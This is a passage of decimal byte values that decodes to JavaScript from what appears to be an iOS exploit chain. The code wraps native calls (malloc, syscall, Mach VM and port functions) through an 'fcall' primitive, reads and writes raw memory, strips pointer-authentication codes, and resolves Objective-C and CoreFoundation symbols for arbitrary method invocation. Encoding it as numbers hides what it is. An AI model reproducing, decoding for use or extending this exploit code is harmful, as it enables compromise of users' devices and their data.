97, 115, 115, 101, 114, 116, 32, 102, 97, 105, 108, 101, 100, 58, 32, 36, 123, 98, 125, 96, 41, 10, 32, 32, 32, 32, 125, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 69, 82, 82, 79, 82, 40, 97, 41, 32, 123, 32, 116, 104, 114, 111, 119, 32, 110, 101, 119, 32, 69, 114, 114, 111, 114, 40, 97, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 118, 97, 108, 32, 61, 32, 48, 110, 41, 10, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 117, 102, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 49, 110, 44, 32, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 98, 117, 102, 44, 32, 118, 97, 108, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 98, 117, 102, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 48, 120, 50, 48, 51, 110, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 97, 108, 108, 111, 99, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 65, 76, 76, 79, 67, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 108, 108, 111, 99, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 76, 76, 79, 67, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 114, 101, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 82, 69, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 115, 101, 116, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 83, 69, 84, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 108, 101, 101, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 76, 69, 69, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 117, 115, 108, 101, 101, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 85, 83, 76, 69, 69, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 109, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 77, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 110, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 78, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 110, 112, 114, 105, 110, 116, 102, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 78, 80, 82, 73, 78, 84, 70, 44, 32, 98, 117, 102, 44, 32, 115, 105, 122, 101, 44, 32, 102, 109, 116, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 105, 110, 116, 102, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 73, 78, 84, 70, 44, 32, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 102, 109, 116, 41, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 108, 111, 115, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 76, 79, 83, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 120, 105, 116, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 69, 88, 73, 84, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 99, 104, 97, 114, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 67, 72, 65, 82, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 112, 105, 100, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 80, 73, 68, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 121, 115, 99, 97, 108, 108, 40, 110, 117, 109, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 89, 83, 67, 65, 76, 76, 44, 32, 110, 117, 109, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 101, 114, 114, 111, 114, 95, 115, 116, 114, 105, 110, 103, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 69, 82, 82, 79, 82, 95, 83, 84, 82, 73, 78, 71, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 108, 101, 116, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 32, 48, 110, 59, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 40, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 61, 32, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 117, 116, 115, 110, 97, 109, 101, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 50, 53, 54, 110, 44, 32, 53, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 102, 99, 97, 108, 108, 40, 85, 78, 65, 77, 69, 44, 32, 117, 116, 115, 110, 97, 109, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 32, 117, 116, 115, 110, 97, 109, 101, 32, 43, 32, 40, 50, 53, 54, 110, 32, 42, 32, 52, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 59, 10, 125, 10, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 95, 73, 78, 73, 84, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 71, 69, 84, 67, 76, 65, 83, 83, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 77, 83, 71, 83, 69, 78, 68, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 69, 76, 95, 82, 69, 71, 73, 83, 84, 69, 82, 78, 65, 77, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 67, 82, 69, 65, 84, 69, 77, 85, 84, 65, 66, 76, 69, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 67, 114, 101, 97, 116, 101, 77, 117, 116, 97, 98, 108, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 82, 69, 76, 69, 65, 83, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 82, 101, 108, 101, 97, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 72, 79, 87, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 104, 111, 119, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 34, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 83, 116, 114, 105, 110, 103, 69, 110, 99, 111, 100, 105, 110, 103, 85, 84, 70, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 48, 120, 48, 56, 48, 48, 48, 49, 48, 48, 110, 59, 10, 108, 101, 116, 32, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 75, 101, 121, 67, 97, 108, 108, 66, 97, 99, 107, 115, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 75, 101, 121, 67, 97, 108, 108, 66, 97, 99, 107, 115, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 86, 97, 108, 117, 101, 67, 97, 108, 108, 66, 97, 99, 107, 115, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 86, 97, 108, 117, 101, 67, 97, 108, 108, 66, 97, 99, 107, 115, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 67, 114, 101, 97, 116, 101, 77, 117, 116, 97, 98, 108, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 67, 82, 69, 65, 84, 69, 77, 85, 84, 65, 66, 76, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 82, 69, 76, 69, 65, 83, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 104, 111, 119, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 72, 79, 87, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 40, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 44, 32, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 40, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 95, 73, 78, 73, 84, 44, 32, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 99, 108, 97, 115, 115, 95, 110, 97, 109, 101, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 71, 69, 84, 67, 76, 65, 83, 83, 44, 32, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 99, 108, 97, 115, 115, 95, 110, 97, 109, 101, 41, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 77, 83, 71, 83, 69, 78, 68, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 99, 115, 116, 114, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 69, 76, 95, 82, 69, 71, 73, 83, 84, 69, 82, 78, 65, 77, 69, 44, 32, 99, 115, 116, 114, 41, 59, 32, 125, 10, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 58, 115, 101, 108, 101, 99, 116, 111, 114, 58, 111, 98, 106, 101, 99, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 107, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 118, 111, 107, 101, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 108, 101, 97, 115, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 101, 108, 101, 97, 115, 101, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 115, 101, 116, 